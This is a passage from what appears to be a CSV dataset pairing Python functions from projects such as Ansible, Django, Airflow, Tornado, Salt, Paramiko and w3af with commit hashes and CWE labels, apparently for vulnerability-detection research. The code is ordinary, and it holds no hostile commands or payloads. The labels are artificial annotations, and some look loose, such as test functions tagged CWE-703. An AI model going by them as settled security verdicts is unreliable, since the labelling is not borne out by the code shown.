                        else:
                            parent_include = parent_include._task_include

                    if not found:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable as e:
                            raise AnsibleParserError(
                                      ""Error when evaluating variable in include name: %s.\n\n"" \
                                      ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n"" \
                                      ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n"" \
                                      ""sources like group or host vars."" % t.args['_raw_params'],
                                      obj=task_ds,
                                      suppress_extended_error=True,
                                  )
                        if t._role:
                            if use_handlers:
                                include_file = loader.path_dwim_relative(t._role._role_path, 'handlers', include_target)
                            else:
                                include_file = loader.path_dwim_relative(t._role._role_path, 'tasks', include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            return []
                        elif not isinstance(data, list):
                            raise AnsibleError(""included task files must contain a list of tasks"", obj=data)

                        # since we can't send callbacks here, we display a message directly in
                        # the same fashion used by the on_include callback. We also do it here,
                        # because the recursive nature of helper methods means we may be loading
                        # nested includes, and we want the include order printed correctly
                        display.display(""statically included: %s"" % include_file, color=C.COLOR_SKIP)
                    except AnsibleFileNotFound as e:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not "" \
                            ""explicitly marked as 'static: yes', we will try and include it dynamically "" \
                            ""later. In the future, this will be an error unless 'static: no' is used "" \
                            ""on the include task. If you do not want missing includes to be considered "" \
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg "" \
                            ""options to make all inclues static for tasks and/or handlers"" % include_file,
                        )
                        task_list.append(t)
                        continue

                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=block,
                        task_include=t,
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = t.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(t.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task)."" \
                                "" Mixing tag specify styles is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"")
                    else:
                        tags = t.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    task_list.append(t)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                task_list.append(t)

    return task_list",CWE-703,ansible/ansible,da3fd2d5880c813e412f509fe909c2094eb6b0cb,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list)

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict)

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=None,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds:
                if use_handlers:
                    t = HandlerTaskInclude.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = TaskInclude.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                all_vars = variable_manager.get_vars(loader=loader, play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if t.static is not None:
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                                (not templar._contains_vars(t.args['_raw_params']) and not t.loop)

                if is_static:
                    if t.loop is not None:
                        raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # FIXME: all of this code is very similar (if not identical) to that in
                    #        plugins/strategy/__init__.py, and should be unified to avoid
                    #        patches only being applied to one or the other location
                    if task_include:
                        # handle relative includes by walking up the list of parent include
                        # tasks and checking the relative result to see if it exists
                        parent_include = task_include
                        cumulative_path = None
                        while parent_include is not None:
                            parent_include_dir = templar.template(os.path.dirname(parent_include.args.get('_raw_params')))
                            if cumulative_path is None:
                                cumulative_path = parent_include_dir
                            elif not os.path.isabs(cumulative_path):
                                cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                            include_target = templar.template(t.args['_raw_params'])
                            if t._role:
                                new_basedir = os.path.join(t._role._role_path, 'tasks', cumulative_path)
                                include_file = loader.path_dwim_relative(new_basedir, 'tasks', include_target)
                            else:
                                include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                            if os.path.exists(include_file):
                                break
                            else:
                                parent_include = parent_include._task_include
                    else:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable as e:
                            raise AnsibleParserError(
                                      ""Error when evaluating variable in include name: %s.\n\n"" \
                                      ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n"" \
                                      ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n"" \
                                      ""sources like group or host vars."" % t.args['_raw_params'],
                                      obj=task_ds,
                                      suppress_extended_error=True,
                                  )
                        if t._role:
                            if use_handlers:
                                include_file = loader.path_dwim_relative(t._role._role_path, 'handlers', include_target)
                            else:
                                include_file = loader.path_dwim_relative(t._role._role_path, 'tasks', include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            return []
                        elif not isinstance(data, list):
                            raise AnsibleError(""included task files must contain a list of tasks"", obj=data)
                    except AnsibleFileNotFound as e:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not "" \
                            ""explicitly marked as 'static: yes', we will try and include it dynamically "" \
                            ""later. In the future, this will be an error unless 'static: no' is used "" \
                            ""on the include task. If you do not want missing includes to be considered "" \
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg "" \
                            ""options to make all inclues static for tasks and/or handlers"" % include_file,
                        )
                        task_list.append(t)
                        continue

                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=block,
                        task_include=t,
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = t.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(t.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task)."" \
                                "" Mixing tag specify styles is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"")
                    else:
                        tags = t.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: send callback here somehow...
                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    task_list.append(t)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                task_list.append(t)

    return task_list"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/utils/cache.py,0,"def add_never_cache_headers(response):
    """"""
    Adds headers to a response to indicate that a page should never be cached.
    """"""
    patch_response_headers(response, cache_timeout=-1)
    patch_cache_control(response, no_cache=True, no_store=True, must_revalidate=True)",CWE-Unknown,django/django,4a438e400b7ce0ab9d0b6876196cbe8d620a4171,"def add_never_cache_headers(response):
    """"""
    Adds headers to a response to indicate that a page should never be cached.
    """"""
    patch_response_headers(response, cache_timeout=-1)"
,UNKNOWN,UNKNOWN,test/units/plugins/action/test_win_updates.py,1,"def test_module_exec_with_become(self, use_task, o_b, o_bmethod, o_buser,
                                     e_b, e_bmethod, e_buser):
        def mock_execute_module(self, **kwargs):
            pc = self._play_context
            return {""become"": pc.become, ""become_method"": pc.become_method,
                    ""become_user"": pc.become_user}

        task = MagicMock(Task)
        task.args = {}

        connection = MagicMock()
        connection.module_implementation_preferences = ('.ps1', '.exe', '')

        play_context = MagicMock()
        play_context.check_mode = False
        play_context.become = o_b
        play_context.become_method = o_bmethod
        play_context.become_user = o_buser

        plugin = ActionModule(task, connection, play_context, loader=None,
                              templar=None, shared_loader_obj=None)
        with patch('ansible.plugins.action.ActionBase._execute_module',
                   new=mock_execute_module):
            actual = plugin._execute_module_with_become('win_updates', {}, {},
                                                        True, use_task)

        # always make sure we reset back to the defaults
        assert play_context.become == o_b
        assert play_context.become_method == o_bmethod
        assert play_context.become_user == o_buser

        # verify what was set when _execute_module was called
        assert actual['become'] == e_b
        assert actual['become_method'] == e_bmethod
        assert actual['become_user'] == e_buser",CWE-703,ansible/ansible,9ce55f7e940959a6a04fab51ab5c4c98da260c02,"def test_module_exec_with_become(self, use_task, o_b, o_bmethod, o_buser,
                                     e_b, e_bmethod, e_buser):
        def mock_execute_module(self, **kwargs):
            pc = self._play_context
            return {""become"": pc.become, ""become_method"": pc.become_method,
                    ""become_user"": pc.become_user}

        task = MagicMock(Task)
        task.args = {}

        connection = MagicMock()
        connection.module_implementation_preferences = ('.ps1', '.exe', '')

        play_context = MagicMock()
        play_context.check_mode = False
        play_context.become = o_b
        play_context.become_method = o_bmethod
        play_context.become_user = o_buser

        plugin = ActionModule(task, connection, play_context, loader=None,
                              templar=None, shared_loader_obj=None)
        with patch('ansible.plugins.action.ActionBase._execute_module',
                   new=mock_execute_module):
            actual = plugin._execute_module_with_become('win_updates', {}, {},
                                                        True, use_task)

        # always make sure we reset back to the defaults
        assert play_context.become == o_b
        assert play_context.become_method == o_bmethod
        assert play_context.become_user == o_buser

        # verify what was set when _execute_module was called
        assert actual['become'] == e_b
        assert actual['become_method'] == e_bmethod
        assert actual['become_user'] == e_buser"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/core/handlers/wsgi.py,0,"def read(self, size=None):
        if size is None:
            result = self.buffer + self._read_limited()
            self.buffer = b''
        elif size < len(self.buffer):
            result = self.buffer[:size]
            self.buffer = self.buffer[size:]
        else:  # size >= len(self.buffer)
            result = self.buffer + self._read_limited(size - len(self.buffer))
            self.buffer = b''
        return result",CWE-Unknown,django/django,8eec2d93b6e93b8a1107fb3de2acd68d6994d6ec,"def read(self, size=None):
        if size is None:
            result = self.buffer + self._read_limited()
            self.buffer = b''
        elif size < len(self.buffer):
            result = self.buffer[:size]
            self.buffer = self.buffer[size:]
        else: # size >= len(self.buffer)
            result = self.buffer + self._read_limited(size - len(self.buffer))
            self.buffer = b''
        return result"
,UNKNOWN,UNKNOWN,tests/cli/commands/test_webserver_command.py,1,"def test_cli_webserver_args(self):
        with mock.patch(""subprocess.Popen"") as Popen, mock.patch.object(webserver_command, ""GunicornMonitor""):
            args = self.parser.parse_args(
                [
                    ""webserver"",
                    ""--access-logformat"",
                    ""custom_log_format"",
                    ""--pid"",
                    ""/tmp/x.pid"",
                ]
            )
            webserver_command.webserver(args)

            Popen.assert_called_with(
                [
                    sys.executable,
                    ""-m"",
                    ""gunicorn"",
                    ""--workers"",
                    ""4"",
                    ""--worker-class"",
                    ""sync"",
                    ""--timeout"",
                    ""120"",
                    ""--bind"",
                    ""0.0.0.0:8080"",
                    ""--name"",
                    ""airflow-webserver"",
                    ""--pid"",
                    ""/tmp/x.pid"",
                    ""--config"",
                    ""python:airflow.www.gunicorn_config"",
                    ""--access-logfile"",
                    ""-"",
                    ""--error-logfile"",
                    ""-"",
                    ""--access-logformat"",
                    ""custom_log_format"",
                    ""airflow.www.app:cached_app()"",
                    ""--preload"",
                ],
                close_fds=True,
            )",CWE-605,apache/airflow,8f99c793ec4289f7fc28d890b6c2887f0951e09b,"def test_cli_webserver_args(self):
        with mock.patch(""subprocess.Popen"") as Popen, mock.patch.object(webserver_command, ""GunicornMonitor""):
            args = self.parser.parse_args(
                [
                    ""webserver"",
                    ""--access-logformat"",
                    ""custom_log_format"",
                    ""--pid"",
                    ""/tmp/x.pid"",
                ]
            )
            webserver_command.webserver(args)

            Popen.assert_called_with(
                [
                    sys.executable,
                    ""-m"",
                    ""gunicorn"",
                    ""--workers"",
                    ""4"",
                    ""--worker-class"",
                    ""sync"",
                    ""--timeout"",
                    ""120"",
                    ""--bind"",
                    ""0.0.0.0:8080"",
                    ""--name"",
                    ""airflow-webserver"",
                    ""--pid"",
                    ""/tmp/x.pid"",
                    ""--config"",
                    ""python:airflow.www.gunicorn_config"",
                    ""--access-logfile"",
                    ""-"",
                    ""--error-logfile"",
                    ""-"",
                    ""--access-logformat"",
                    ""custom_log_format"",
                    ""airflow.www.app:cached_app()"",
                ],
                close_fds=True,
            )"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/mxInjection.py,0,"def _getmxErrors(self):
        errors = []
        
        errors.append( 'Unexpected extra arguments to Select' )
        errors.append( 'Bad or malformed request' )     #FIXME: This could generate false positives
        errors.append( 'Could not access the following folders' )       
        errors.append( 'To check for outside changes to the folder list go to the folders page' )       
        errors.append( 'A000' )     
        errors.append( 'A001' )     
        errors.append( 'Invalid mailbox name' )     
        
        return errors",,andresriancho/w3af,20b4b7f28014e29b6c0393dac4f473262a541169,"def _getmxErrors(self):
        errors = []
        
        errors.append( 'Unexpected extra arguments to Select' )
        errors.append( 'Bad or malformed request' )     
        errors.append( 'Could not access the following folders' )       
        errors.append( 'To check for outside changes to the folder list go to the folders page' )       
        errors.append( 'A000' )     
        errors.append( 'A001' )     
        errors.append( 'Invalid mailbox name' )     
        
        return errors"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/ti_deps/deps/base_ti_dep.py,0,"def name(self):
        """"""
        The human-readable name for the dependency. Use the classname as the default name
        if this method is not overridden in the subclass.
        """"""
        return getattr(self, 'NAME', self.__class__.__name__)",CWE-Unknown,apache/airflow,fbcbd053a2c5fffb0c95eb55a91cb92fa860e1ab,"def name(self):
        """"""
        The human-readable name for the dependency. Use the classname as the default name
        if this method is not overridden in the subclass.
        """"""
        return getattr(self, 'NAME', self.__class__.__name__)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/stack_context.py,0,"def wrap(fn):
    '''Returns a callable object that will resore the current StackContext
    when executed.

    Use this whenever saving a callback to be executed later in a
    different execution context (either in a different thread or
    asynchronously in the same thread).
    '''
    if fn is None:
      return None
    # functools.wraps doesn't appear to work on functools.partial objects
    #@functools.wraps(fn)
    def wrapped(callback, contexts, *args, **kwargs):
        # If we're moving down the stack, _state.contexts is a prefix
        # of contexts.  For each element of contexts not in that prefix,
        # create a new StackContext object.
        # If we're moving up the stack (or to an entirely different stack),
        # _state.contexts will have elements not in contexts.  Use
        # NullContext to clear the state and then recreate from contexts.
        if (len(_state.contexts) > len(contexts) or
            any(a is not b
                for a, b in itertools.izip(_state.contexts, contexts))):
            # contexts have been removed or changed, so start over
            new_contexts = ([NullContext()] +
                            [StackContext(c) for c in contexts])
        else:
            new_contexts = [StackContext(c)
                            for c in contexts[len(_state.contexts):]]
        if new_contexts:
            with contextlib.nested(*new_contexts):
                callback(*args, **kwargs)
        else:
            callback(*args, **kwargs)
    if getattr(fn, 'stack_context_wrapped', False):
        return fn
    contexts = _state.contexts
    result = functools.partial(wrapped, fn, contexts)
    result.stack_context_wrapped = True
    return result",CWE-Unknown,tornadoweb/tornado,b19953441d88c43b8ba6efd3ed40526c5049d2e3,"def wrap(fn):
    '''Returns a callable object that will resore the current StackContext
    when executed.

    Use this whenever saving a callback to be executed later in a
    different execution context (either in a different thread or
    asynchronously in the same thread).
    '''
    # functools.wraps doesn't appear to work on functools.partial objects
    #@functools.wraps(fn)
    def wrapped(callback, contexts, *args, **kwargs):
        # If we're moving down the stack, _state.contexts is a prefix
        # of contexts.  For each element of contexts not in that prefix,
        # create a new StackContext object.
        # If we're moving up the stack (or to an entirely different stack),
        # _state.contexts will have elements not in contexts.  Use
        # NullContext to clear the state and then recreate from contexts.
        if (len(_state.contexts) > len(contexts) or
            any(a is not b
                for a, b in itertools.izip(_state.contexts, contexts))):
            # contexts have been removed or changed, so start over
            new_contexts = ([NullContext()] +
                            [StackContext(c) for c in contexts])
        else:
            new_contexts = [StackContext(c)
                            for c in contexts[len(_state.contexts):]]
        if new_contexts:
            with contextlib.nested(*new_contexts):
                callback(*args, **kwargs)
        else:
            callback(*args, **kwargs)
    if getattr(fn, 'stack_context_wrapped', False):
        return fn
    contexts = _state.contexts
    result = functools.partial(wrapped, fn, contexts)
    result.stack_context_wrapped = True
    return result"
,UNKNOWN,UNKNOWN,tests/pytests/integration/ssh/state/test_state.py,1,"def test_state_with_import(salt_ssh_cli, state_tree):
    """"""
    verify salt-ssh can use imported map files in states
    """"""
    ret = salt_ssh_cli.run(""state.sls"", ""test"")
    assert ret.returncode == 0
    assert ret.data",CWE-703,saltstack/salt,d3a113f2e5664cf90ed138beb6f5c40eadb9e98b,"def test_state_with_import(salt_ssh_cli, state_tree):
    """"""
    verify salt-ssh can use imported map files in states
    """"""
    ret = salt_ssh_cli.run(""state.sls"", ""test"")
    assert ret.returncode == 0
    assert ret.data"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/config.py,0,"def canonicalize(self, hostname, options, domains):
        """"""
        Return canonicalized version of ``hostname``.

        :param str hostname: Target hostname.
        :param options: An `SSHConfigDict` from a previous lookup pass.
        :param domains: List of domains (e.g. ``[""paramiko.org""]``).

        :returns: A canonicalized hostname if one was found, else ``None``.

        .. versionadded:: 2.7
        """"""
        found = False
        for domain in domains:
            candidate = ""{}.{}"".format(hostname, domain)
            family_specific = _addressfamily_host_lookup(candidate, options)
            if family_specific is not None:
                # TODO: would we want to dig deeper into other results? e.g. to
                # find something that satisfies PermittedCNAMEs when that is
                # implemented?
                found = family_specific[0]
            else:
                # TODO: what does ssh use here and is there a reason to use
                # that instead of gethostbyname?
                try:
                    found = socket.gethostbyname(candidate)
                except socket.gaierror:
                    pass
            if found:
                # TODO: follow CNAME (implied by found != candidate?) if
                # CanonicalizePermittedCNAMEs allows it
                return candidate
        # If we got here, it means canonicalization failed.
        # When CanonicalizeFallbackLocal is undefined or 'yes', we just spit
        # back the original hostname.
        if options.get(""canonicalizefallbacklocal"", ""yes"") == ""yes"":
            return hostname
        # And here, we failed AND fallback was set to a non-yes value, so we
        # need to get mad.
        raise CouldNotCanonicalize(hostname)",,paramiko/paramiko,014f6dc4430c2561a1a6bca707ba81ced5e6998b,"def canonicalize(self, hostname, options, domains):
        """"""
        Return canonicalized version of ``hostname``.

        :param str hostname: Target hostname.
        :param options: An `SSHConfigDict` from a previous lookup pass.
        :param list domains: List of domains (e.g. ``[""paramiko.org""]``).

        :returns: A canonicalized hostname if one was found, else ``None``.

        .. versionadded:: 2.7
        """"""
        found = False
        for domain in domains:
            candidate = ""{}.{}"".format(hostname, domain)
            family_specific = _addressfamily_host_lookup(candidate, options)
            if family_specific is not None:
                # TODO: would we want to dig deeper into other results? e.g. to
                # find something that satisfies PermittedCNAMEs when that is
                # implemented?
                found = family_specific[0]
            else:
                # TODO: what does ssh use here and is there a reason to use
                # that instead of gethostbyname?
                try:
                    found = socket.gethostbyname(candidate)
                except socket.gaierror:
                    pass
            if found:
                # TODO: follow CNAME (implied by found != candidate?) if
                # CanonicalizePermittedCNAMEs allows it
                return candidate
        # If we got here, it means canonicalization failed.
        # When CanonicalizeFallbackLocal is undefined or 'yes', we just spit
        # back the original hostname.
        if options.get(""canonicalizefallbacklocal"", ""yes"") == ""yes"":
            return hostname
        # And here, we failed AND fallback was set to a non-yes value, so we
        # need to get mad.
        raise CouldNotCanonicalize(hostname)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/template.py,0,"def run(self, tmp=None, task_vars=None):
        ''' handler for template operations '''

        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)
        del tmp  # tmp no longer has any effect

        source = self._task.args.get('src', None)
        dest = self._task.args.get('dest', None)
        force = boolean(self._task.args.get('force', True), strict=False)
        follow = boolean(self._task.args.get('follow', False), strict=False)
        state = self._task.args.get('state', None)
        newline_sequence = self._task.args.get('newline_sequence', self.DEFAULT_NEWLINE_SEQUENCE)
        variable_start_string = self._task.args.get('variable_start_string', None)
        variable_end_string = self._task.args.get('variable_end_string', None)
        block_start_string = self._task.args.get('block_start_string', None)
        block_end_string = self._task.args.get('block_end_string', None)
        trim_blocks = boolean(self._task.args.get('trim_blocks', True), strict=False)
        lstrip_blocks = boolean(self._task.args.get('lstrip_blocks', False), strict=False)

        # Option `lstrip_blocks' was added in Jinja2 version 2.7.
        if lstrip_blocks:
            try:
                import jinja2.defaults
            except ImportError:
                raise AnsibleError('Unable to import Jinja2 defaults for determing Jinja2 features.')

            try:
                jinja2.defaults.LSTRIP_BLOCKS
            except AttributeError:
                raise AnsibleError(""Option `lstrip_blocks' is only available in Jinja2 versions >=2.7"")

        wrong_sequences = [""\\n"", ""\\r"", ""\\r\\n""]
        allowed_sequences = [""\n"", ""\r"", ""\r\n""]

        # We need to convert unescaped sequences to proper escaped sequences for Jinja2
        if newline_sequence in wrong_sequences:
            newline_sequence = allowed_sequences[wrong_sequences.index(newline_sequence)]

        try:
            for s_type in ('source', 'dest', 'state', 'newline_sequence', 'variable_start_string', 'variable_end_string', 'block_start_string',
                           'block_end_string'):
                value = locals()[s_type]
                value = ensure_type(value, 'string')
                if value is not None and not isinstance(value, string_types):
                    raise AnsibleActionFail(""%s is expected to be a string, but got %s instead"" % (s_type, type(value)))
                locals()[s_type] = value

            for b_type in ('force', 'follow', 'trim_blocks'):
                value = locals()[b_type]
                value = ensure_type(value, 'string')
                if value is not None and not isinstance(value, bool):
                    raise AnsibleActionFail(""%s is expected to be a boolean, but got %s instead"" % (b_type, type(value)))
                locals()[b_type] = value

            if state is not None:
                raise AnsibleActionFail(""'state' cannot be specified on a template"")
            elif source is None or dest is None:
                raise AnsibleActionFail(""src and dest are required"")
            elif newline_sequence not in allowed_sequences:
                raise AnsibleActionFail(""newline_sequence needs to be one of: \n, \r or \r\n"")
            else:
                try:
                    source = self._find_needle('templates', source)
                except AnsibleError as e:
                    raise AnsibleActionFail(to_text(e))

            mode = self._task.args.get('mode', None)
            if mode == 'preserve':
                mode = '0%03o' % stat.S_IMODE(os.stat(source).st_mode)

            # Get vault decrypted tmp file
            try:
                tmp_source = self._loader.get_real_file(source)
            except AnsibleFileNotFound as e:
                raise AnsibleActionFail(""could not find src=%s, %s"" % (source, to_text(e)))
            b_tmp_source = to_bytes(tmp_source, errors='surrogate_or_strict')

            # template the source data locally & get ready to transfer
            try:
                with open(b_tmp_source, 'rb') as f:
                    template_data = to_text(f.read(), errors='surrogate_or_strict')

                # set jinja2 internal search path for includes
                searchpath = task_vars.get('ansible_search_path', [])
                searchpath.extend([self._loader._basedir, os.path.dirname(source)])

                # We want to search into the 'templates' subdir of each search path in
                # addition to our original search paths.
                newsearchpath = []
                for p in searchpath:
                    newsearchpath.append(os.path.join(p, 'templates'))
                    newsearchpath.append(p)
                searchpath = newsearchpath

                self._templar.environment.loader.searchpath = searchpath
                self._templar.environment.newline_sequence = newline_sequence
                if block_start_string is not None:
                    self._templar.environment.block_start_string = block_start_string
                if block_end_string is not None:
                    self._templar.environment.block_end_string = block_end_string
                if variable_start_string is not None:
                    self._templar.environment.variable_start_string = variable_start_string
                if variable_end_string is not None:
                    self._templar.environment.variable_end_string = variable_end_string
                self._templar.environment.trim_blocks = trim_blocks
                self._templar.environment.lstrip_blocks = lstrip_blocks

                # add ansible 'template' vars
                temp_vars = task_vars.copy()
                temp_vars.update(generate_ansible_template_vars(source))

                old_vars = self._templar._available_variables
                self._templar.set_available_variables(temp_vars)
                resultant = self._templar.do_template(template_data, preserve_trailing_newlines=True, escape_backslashes=False)
                self._templar.set_available_variables(old_vars)
            except AnsibleAction:
                raise
            except Exception as e:
                raise AnsibleActionFail(""%s: %s"" % (type(e).__name__, to_text(e)))
            finally:
                self._loader.cleanup_tmp_file(b_tmp_source)

            new_task = self._task.copy()
            # mode is either the mode from task.args or the mode of the source file if the task.args
            # mode == 'preserve'
            new_task.args['mode'] = mode
            new_task.args.pop('newline_sequence', None)
            new_task.args.pop('block_start_string', None)
            new_task.args.pop('block_end_string', None)
            new_task.args.pop('variable_start_string', None)
            new_task.args.pop('variable_end_string', None)
            new_task.args.pop('trim_blocks', None)
            new_task.args.pop('lstrip_blocks', None)

            local_tempdir = tempfile.mkdtemp(dir=C.DEFAULT_LOCAL_TMP)

            try:
                result_file = os.path.join(local_tempdir, os.path.basename(source))
                with open(to_bytes(result_file, errors='surrogate_or_strict'), 'wb') as f:
                    f.write(to_bytes(resultant, errors='surrogate_or_strict'))

                new_task.args.update(
                    dict(
                        src=result_file,
                        dest=dest,
                        follow=follow,
                    ),
                )
                copy_action = self._shared_loader_obj.action_loader.get('copy',
                                                                        task=new_task,
                                                                        connection=self._connection,
                                                                        play_context=self._play_context,
                                                                        loader=self._loader,
                                                                        templar=self._templar,
                                                                        shared_loader_obj=self._shared_loader_obj)
                result.update(copy_action.run(task_vars=task_vars))
            finally:
                shutil.rmtree(to_bytes(local_tempdir, errors='surrogate_or_strict'))

        except AnsibleAction as e:
            result.update(e.result)
        finally:
            self._remove_tmp_path(self._connection._shell.tmpdir)

        return result",,ansible/ansible,2976b653ce0e8003e790a95014d9481769999294,"def run(self, tmp=None, task_vars=None):
        ''' handler for template operations '''

        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)
        del tmp  # tmp no longer has any effect

        source = self._task.args.get('src', None)
        dest = self._task.args.get('dest', None)
        force = boolean(self._task.args.get('force', True), strict=False)
        follow = boolean(self._task.args.get('follow', False), strict=False)
        state = self._task.args.get('state', None)
        newline_sequence = self._task.args.get('newline_sequence', self.DEFAULT_NEWLINE_SEQUENCE)
        variable_start_string = self._task.args.get('variable_start_string', None)
        variable_end_string = self._task.args.get('variable_end_string', None)
        block_start_string = self._task.args.get('block_start_string', None)
        block_end_string = self._task.args.get('block_end_string', None)
        trim_blocks = boolean(self._task.args.get('trim_blocks', True), strict=False)
        lstrip_blocks = boolean(self._task.args.get('lstrip_blocks', False), strict=False)

        # Option `lstrip_blocks' was added in Jinja2 version 2.7.
        if lstrip_blocks:
            try:
                import jinja2.defaults
            except ImportError:
                raise AnsibleError('Unable to import Jinja2 defaults for determing Jinja2 features.')

            try:
                jinja2.defaults.LSTRIP_BLOCKS
            except AttributeError:
                raise AnsibleError(""Option `lstrip_blocks' is only available in Jinja2 versions >=2.7"")

        wrong_sequences = [""\\n"", ""\\r"", ""\\r\\n""]
        allowed_sequences = [""\n"", ""\r"", ""\r\n""]

        # We need to convert unescaped sequences to proper escaped sequences for Jinja2
        if newline_sequence in wrong_sequences:
            newline_sequence = allowed_sequences[wrong_sequences.index(newline_sequence)]

        try:
            for s_type in ('source', 'dest', 'state', 'newline_sequence', 'variable_start_string', 'variable_end_string', 'block_start_string',
                           'block_end_string'):
                value = locals()[s_type]
                value = ensure_type(value, 'string')
                if value is not None and not isinstance(value, string_types):
                    raise AnsibleActionFail(""%s is expected to be a string, but got %s instead"" % (s_type, type(value)))
                locals()[s_type] = value

            for b_type in ('force', 'follow', 'trim_blocks'):
                value = locals()[b_type]
                value = ensure_type(value, 'string')
                if value is not None and not isinstance(value, bool):
                    raise AnsibleActionFail(""%s is expected to be a boolean, but got %s instead"" % (b_type, type(value)))
                locals()[b_type] = value

            if state is not None:
                raise AnsibleActionFail(""'state' cannot be specified on a template"")
            elif source is None or dest is None:
                raise AnsibleActionFail(""src and dest are required"")
            elif newline_sequence not in allowed_sequences:
                raise AnsibleActionFail(""newline_sequence needs to be one of: \n, \r or \r\n"")
            else:
                try:
                    source = self._find_needle('templates', source)
                except AnsibleError as e:
                    raise AnsibleActionFail(to_text(e))

            mode = self._task.args.get('mode', None)
            if mode == 'preserve':
                mode = '0%03o' % stat.S_IMODE(os.stat(source).st_mode)

            # Get vault decrypted tmp file
            try:
